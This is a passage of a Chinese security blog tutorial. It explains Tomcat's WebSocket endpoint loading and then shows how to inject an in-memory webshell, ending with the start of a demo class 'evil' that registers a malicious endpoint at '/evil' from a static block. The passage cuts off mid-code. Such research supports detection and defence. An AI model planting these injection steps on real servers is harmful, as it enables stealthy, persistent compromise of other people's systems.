&lt;li&gt;&lt;code&gt;configurator&lt;/code&gt;：非必要，继承ServerEndpointConfig.Configurator的类，主要提供ServerEndpoint对象的创建方式扩展（如果使用Tomcat的WebSocket实现，默认是反射创建ServerEndpoint对象）。&lt;/li&gt;
&lt;li&gt;&lt;code&gt;decoders&lt;/code&gt;：非必要，继承Decoder的类，用户可以自定义一些消息解码器，比如通信的消息是一个对象，接收到消息可以自动解码封装成消息对象。&lt;/li&gt;
&lt;li&gt;&lt;code&gt;encoders&lt;/code&gt;：非必要，继承Encoder的类，此端点将使用的编码器类的有序数组，定义解码器和编码器的好处是可以规范使用层消息的传输。&lt;/li&gt;
&lt;li&gt;&lt;code&gt;subprotocols&lt;/code&gt;：非必要，String数组类型，用户在WebSocket协议下自定义扩展一些子协议。&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;比如：&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;div class=&#34;chroma&#34;&gt;
&lt;table class=&#34;lntable&#34;&gt;&lt;tr&gt;&lt;td class=&#34;lntd&#34;&gt;
&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code&gt;&lt;span class=&#34;lnt&#34;&gt;1
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class=&#34;lntd&#34;&gt;
&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code class=&#34;language-java&#34; data-lang=&#34;java&#34;&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;nd&#34;&gt;@ServerEndpoint&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;value&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;s&#34;&gt;&amp;#34;/ws/{userId}&amp;#34;&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;encoders&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;{&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;MessageEncoder&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;na&#34;&gt;class&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;},&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;decoders&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;{&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;MessageDecoder&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;na&#34;&gt;class&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;},&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;configurator&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;MyServerConfigurator&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;na&#34;&gt;class&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;p&gt;@ServerEndpoint可以注解到任何类上，但是想实现服务端的完整功能，还需要配合几个生命周期的注解使用，这些生命周期注解只能注解在方法上：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;@OnOpen&lt;/code&gt; 建立连接时触发。&lt;/li&gt;
&lt;li&gt;&lt;code&gt;@OnClose&lt;/code&gt; 关闭连接时触发。&lt;/li&gt;
&lt;li&gt;&lt;code&gt;@OnError&lt;/code&gt; 发生异常时触发。&lt;/li&gt;
&lt;li&gt;&lt;code&gt;@OnMessage&lt;/code&gt; 接收到消息时触发。&lt;/li&gt;
&lt;/ul&gt;
&lt;h4 id=&#34;继承抽象类endpoint&#34;&gt;继承抽象类：Endpoint&lt;/h4&gt;
&lt;p&gt;继承抽象类&lt;code&gt;Endpoint&lt;/code&gt;，重写几个生命周期方法，实现两个接口，比加注解 &lt;code&gt;@ServerEndpoint&lt;/code&gt;方式更麻烦。&lt;/p&gt;
&lt;p&gt;其中重写&lt;code&gt;onMessage&lt;/code&gt;需要实现接口&lt;code&gt;jakarta.websocket.MessageHandler&lt;/code&gt;，给Endpoint分配URI路径需要实现接口&lt;code&gt;jakarta.websocket.server.ServerApplicationConfig&lt;/code&gt;。&lt;/p&gt;
&lt;p&gt;而&lt;code&gt;URI path&lt;/code&gt;、&lt;code&gt;encoders&lt;/code&gt;、&lt;code&gt;decoders&lt;/code&gt;、&lt;code&gt;configurator&lt;/code&gt;等配置信息由&lt;code&gt;jakarta.websocket.server.ServerEndpointConfig&lt;/code&gt;管理，默认实现&lt;code&gt;jakarta.websocket.server.DefaultServerEndpointConfig&lt;/code&gt;。&lt;/p&gt;
&lt;p&gt;通过编程方式实现Endpoint，比如：&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;div class=&#34;chroma&#34;&gt;
&lt;table class=&#34;lntable&#34;&gt;&lt;tr&gt;&lt;td class=&#34;lntd&#34;&gt;
&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code&gt;&lt;span class=&#34;lnt&#34;&gt;1
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class=&#34;lntd&#34;&gt;
&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code class=&#34;language-java&#34; data-lang=&#34;java&#34;&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;n&#34;&gt;ServerEndpointConfig&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;serverEndpointConfig&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;ServerEndpointConfig&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;na&#34;&gt;Builder&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;na&#34;&gt;create&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;WebSocketServerEndpoint3&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;na&#34;&gt;class&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;s&#34;&gt;&amp;#34;/ws/{userId}&amp;#34;&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;).&lt;/span&gt;&lt;span class=&#34;na&#34;&gt;decoders&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;decoderList&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;).&lt;/span&gt;&lt;span class=&#34;na&#34;&gt;encoders&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;encoderList&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;).&lt;/span&gt;&lt;span class=&#34;na&#34;&gt;configurator&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;k&#34;&gt;new&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;MyServerConfigurator&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;()).&lt;/span&gt;&lt;span class=&#34;na&#34;&gt;build&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;();&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;h2 id=&#34;tomcat-websocket的加载&#34;&gt;Tomcat WebSocket的加载&lt;/h2&gt;
&lt;p&gt;Tomcat提供了一个&lt;code&gt;javax.servlet.ServletContainerInitializer&lt;/code&gt;的实现类&lt;code&gt;org.apache.tomcat.websocket.server.WsSci&lt;/code&gt;。&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;ServletContainerInitializer（SCI） 是 Servlet 3.0 新增的一个接口，主要用于在容器启动阶段通过编程风格注册Filter, Servlet以及Listener，以取代通过web.xml配置注册。这样就利于开发内聚的web应用框架.&lt;/p&gt;
&lt;p&gt;具体可看：&lt;a href=&#34;https://blog.csdn.net/lqzkcx3/article/details/78507169&#34;&gt;Servlet3.0研究之ServletContainerInitializer接口&lt;/a&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;因此&lt;strong&gt;Tomcat的WebSocket加载是通过SCI机制完成的&lt;/strong&gt;。&lt;/p&gt;
&lt;p&gt;WsSci可以处理的类型有三种：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;添加了注解@ServerEndpoint的类&lt;/li&gt;
&lt;li&gt;Endpoint的子类&lt;/li&gt;
&lt;li&gt;ServerApplicationConfig的实现类&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Tomcat在Web应用启动时会在StandardContext的startInternal方法里通过 WsSci 的onStartup方法初始化 Listener 和 servlet，再扫描 classpath下带有注解@ServerEndpoint的类和Endpoint子类&lt;/p&gt;
&lt;p&gt;如果当前应用存在ServerApplicationConfig实现，则通过ServerApplicationConfig获取Endpoint子类的配置（ServerEndpointConfig实例，包含了请求路径等信息）和符合条件的注解类，通过调用addEndpoint将结果注册到WebSocketContainer上；如果当前应用没有定义ServerApplicationConfig的实现类，那么WsSci默认只将所有扫描到的注解式Endpoint注册到WebSocketContainer。因此，如果采用可编程方式定义Endpoint，那么必须添加ServerApplicationConfig实现。&lt;/p&gt;
&lt;p&gt;然后startInternal方法里为ServletContext添加一个过滤器&lt;code&gt;org.apache.tomcat.websocket.server.WsFilter&lt;/code&gt;，它用于判断当前请求是否为WebSocket请求，以便完成握手（所以任何Tomcat都可以用&lt;a href=&#34;https://github.com/c0ny1/java-memshell-scanner&#34;&gt;java-memshell-scanner&lt;/a&gt;看到WsFilter）。&lt;/p&gt;
&lt;h2 id=&#34;tomcat-websocket内存马的实现&#34;&gt;Tomcat WebSocket内存马的实现&lt;/h2&gt;
&lt;p&gt;我们先来回顾一下servlet-api型内存马的实现步骤，拿Filter型举例：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;获取当前的StandardContext&lt;/li&gt;
&lt;li&gt;创建恶意Filter&lt;/li&gt;
&lt;li&gt;创建filterDef封装Filter对象，调用StandardContext.addFilterDef方法将filterDef添加到filterDefs&lt;/li&gt;
&lt;li&gt;创建filterMap将URL和filter进行绑定，调用StandardContext.addFilterMapBefore方法将filterMap添加到filterMaps中&lt;/li&gt;
&lt;li&gt;获取filterConfigs变量，并向其中添加filterConfig对象&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;既然要插入恶意Filter，那么我们就需要在Tomcat启动过程中寻找添加FIlter的方法，而filterDef、filterMap、filterConfigs都是StandardContext对象的属性，并且也有相应的add方法，那么我们就需要先获取StandardContext，再调用相应的方法。&lt;/p&gt;
&lt;p&gt;WebSocket内存马也很类似，上一节提到了WsSci 的onStartup扫描 classpath下带有注解@ServerEndpoint的类和Endpoint子类，并且调用addEndpoint方法注册到WebSocketContainer上。那么我们应该从WebSocketContainer出发，而WsServerContainer是在StandardContext里面创建的，那么，显而易见的：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;获取当前的StandardContext&lt;/li&gt;
&lt;li&gt;通过StandardContext获取ServerContainer&lt;/li&gt;
&lt;li&gt;定义一个恶意类，并创建一个ServerEndpointConfig，给这个恶意类分配URI path&lt;/li&gt;
&lt;li&gt;调用ServerContainer.addEndpoint方法，将创建的ServerEndpointConfig添加进去&lt;/li&gt;
&lt;/ol&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;div class=&#34;chroma&#34;&gt;
&lt;table class=&#34;lntable&#34;&gt;&lt;tr&gt;&lt;td class=&#34;lntd&#34;&gt;
&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code&gt;&lt;span class=&#34;lnt&#34;&gt;1
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;2
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;3
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class=&#34;lntd&#34;&gt;
&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code class=&#34;language-java&#34; data-lang=&#34;java&#34;&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;n&#34;&gt;ServerContainer&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;container&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;ServerContainer&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;)&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;req&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;na&#34;&gt;getServletContext&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;().&lt;/span&gt;&lt;span class=&#34;na&#34;&gt;getAttribute&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;ServerContainer&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;na&#34;&gt;class&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;na&#34;&gt;getName&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;());&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;n&#34;&gt;ServerEndpointConfig&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;config&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;ServerEndpointConfig&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;na&#34;&gt;Builder&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;na&#34;&gt;create&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;evil&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;na&#34;&gt;class&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;s&#34;&gt;&amp;#34;/ws&amp;#34;&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;).&lt;/span&gt;&lt;span class=&#34;na&#34;&gt;build&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;();&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;n&#34;&gt;container&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;na&#34;&gt;addEndpoint&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;config&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;);&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;h3 id=&#34;demo&#34;&gt;demo&lt;/h3&gt;
&lt;p&gt;将注入内存马的操作放在static块，加载这个类即可实现内存马注入&lt;/p&gt;
&lt;p&gt;evil.java:&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;div class=&#34;chroma&#34;&gt;
&lt;table class=&#34;lntable&#34;&gt;&lt;tr&gt;&lt;td class=&#34;lntd&#34;&gt;
&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code&gt;&lt;span class=&#34;lnt&#34;&gt; 1
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt; 2
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt; 3
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt; 4
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt; 5
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt; 6
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt; 7
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt; 8
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt; 9
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;10
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;11
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;12
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;13
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;14
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;15
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;16
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;17
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;18
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;19
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;20
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;21
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;22
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;23
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;24
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;25
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;26
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;27
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;28
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;29
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;30
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;31
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;32
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;33
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;34
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;35
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;36
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;37
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;38
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;39
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;40
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;41
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;42
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;43
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;44
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;45
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;46
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;47
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;48
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;49
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;50
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;51
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;52
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;53
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;54
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;55
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;56
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;57
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class=&#34;lntd&#34;&gt;
&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code class=&#34;language-java&#34; data-lang=&#34;java&#34;&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;kn&#34;&gt;import&lt;/span&gt; &lt;span class=&#34;nn&#34;&gt;org.apache.catalina.core.StandardContext&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;kn&#34;&gt;import&lt;/span&gt; &lt;span class=&#34;nn&#34;&gt;org.apache.catalina.loader.WebappClassLoaderBase&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;kn&#34;&gt;import&lt;/span&gt; &lt;span class=&#34;nn&#34;&gt;org.apache.tomcat.websocket.server.WsServerContainer&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;kn&#34;&gt;import&lt;/span&gt; &lt;span class=&#34;nn&#34;&gt;javax.websocket.*&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;kn&#34;&gt;import&lt;/span&gt; &lt;span class=&#34;nn&#34;&gt;javax.websocket.server.ServerContainer&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;kn&#34;&gt;import&lt;/span&gt; &lt;span class=&#34;nn&#34;&gt;javax.websocket.server.ServerEndpointConfig&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;kn&#34;&gt;import&lt;/span&gt; &lt;span class=&#34;nn&#34;&gt;java.io.InputStream&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;kd&#34;&gt;public&lt;/span&gt; &lt;span class=&#34;kd&#34;&gt;class&lt;/span&gt; &lt;span class=&#34;nc&#34;&gt;evil&lt;/span&gt; &lt;span class=&#34;kd&#34;&gt;extends&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;Endpoint&lt;/span&gt; &lt;span class=&#34;kd&#34;&gt;implements&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;MessageHandler&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;na&#34;&gt;Whole&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;String&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;&amp;gt;&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;kd&#34;&gt;static&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;n&#34;&gt;WebappClassLoaderBase&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;webappClassLoaderBase&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;WebappClassLoaderBase&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;)&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;Thread&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;na&#34;&gt;currentThread&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;().&lt;/span&gt;&lt;span class=&#34;na&#34;&gt;getContextClassLoader&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;();&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;n&#34;&gt;StandardContext&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;standardContext&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;StandardContext&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;)&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;webappClassLoaderBase&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;na&#34;&gt;getResources&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;().&lt;/span&gt;&lt;span class=&#34;na&#34;&gt;getContext&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;();&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;n&#34;&gt;ServerEndpointConfig&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;build&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;ServerEndpointConfig&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;na&#34;&gt;Builder&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;na&#34;&gt;create&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;evil&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;na&#34;&gt;class&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;s&#34;&gt;&amp;#34;/evil&amp;#34;&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;).&lt;/span&gt;&lt;span class=&#34;na&#34;&gt;build&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;();&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;n&#34;&gt;WsServerContainer&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;attribute&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;WsServerContainer&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;)&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;standardContext&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;na&#34;&gt;getServletContext&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;().&lt;/span&gt;&lt;span class=&#34;na&#34;&gt;getAttribute&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;ServerContainer&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;na&#34;&gt;class&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;na&#34;&gt;getName&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;());&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;k&#34;&gt;try&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;            &lt;span class=&#34;n&#34;&gt;attribute&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;na&#34;&gt;addEndpoint&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;build&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;);&lt;/span&gt;
